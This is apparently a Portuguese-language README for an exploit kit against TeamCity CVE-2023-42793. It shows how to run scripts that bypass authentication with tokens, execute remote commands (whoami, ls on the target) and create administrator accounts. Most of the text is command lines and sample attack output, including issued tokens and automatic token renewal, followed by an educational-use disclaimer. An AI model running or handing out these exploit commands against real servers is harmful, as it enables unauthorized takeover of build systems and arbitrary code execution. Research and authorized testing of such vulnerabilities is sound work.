
Exploit para TeamCity CVE-2023-42793 que permite execução remota de código e criação de conta de administrador por meio de bypass de autenticação baseado em token.
Exemplo de execução de comando:
python3 exploit.py -u http://localhost
User add token -> eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 16ms
Command -> ls -la /home
StdOut:total 8
drwxr-xr-x 2 root root 4096 Apr 15 2020 .
drwxr-xr-x 1 root root 4096 Feb 28 2024 ..
StdErr:
Exit code: 0
Time: 23ms
Caso o token expire, um novo será criado automaticamente.
Command -> whoami
[-] Token expired, restarting...
[!]Error deleting user
User add token -> eyJ0eXAiOiAiVENWMiJ9.ZVJiSTB6SGZWSEpldzhEa1o4cUdsWFlQRTJJ.NGQxOTg4ZWItNTJmYS00OWM3LWIwYmItZjcyODNkYjg5NTJj
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 24ms
Criar usuário administrador:
python3 user_add_administrator.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Z21xU3ZtTXNYUXE2WGdkaWJCOFV4QWsxN2s0.NmMyZDE0YTItMDQ1OS00NGQ2LTk2YWEtNjg1MTU3ZGNiNjM0
Create username administrator
Caso já exista um usuário:
python3 user_add.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Q3ZFa0ExR2tBcGlSMUZ3ZWNyMUtNN0VPQmFN.Mzk0M2EyZjAtMzVhNi00YTU0LWFmNTctMTg4MThkZmU5MDA3
is already in use by some other user.
Este repositório é apenas para fins educacionais e de pesquisa em segurança da computação. O uso dos scripts e técnicas descritos aqui para comprometer sistemas sem autorização é ilegal e viola leis nacionais e internacionais, como a Lei 26.388 (Argentina), a CFAA (EUA) e a Convenção de Budapeste.
O autor não é responsável pelo uso indevido das informações aqui fornecidas. O uso deste material é permitido apenas em ambientes controlados, laboratórios, CTFs ou com autorização explícita do proprietário do sistema.
Se você for realizar testes, certifique-se de ter permissão. Invadir sem autorização não é hacking ético; é crime.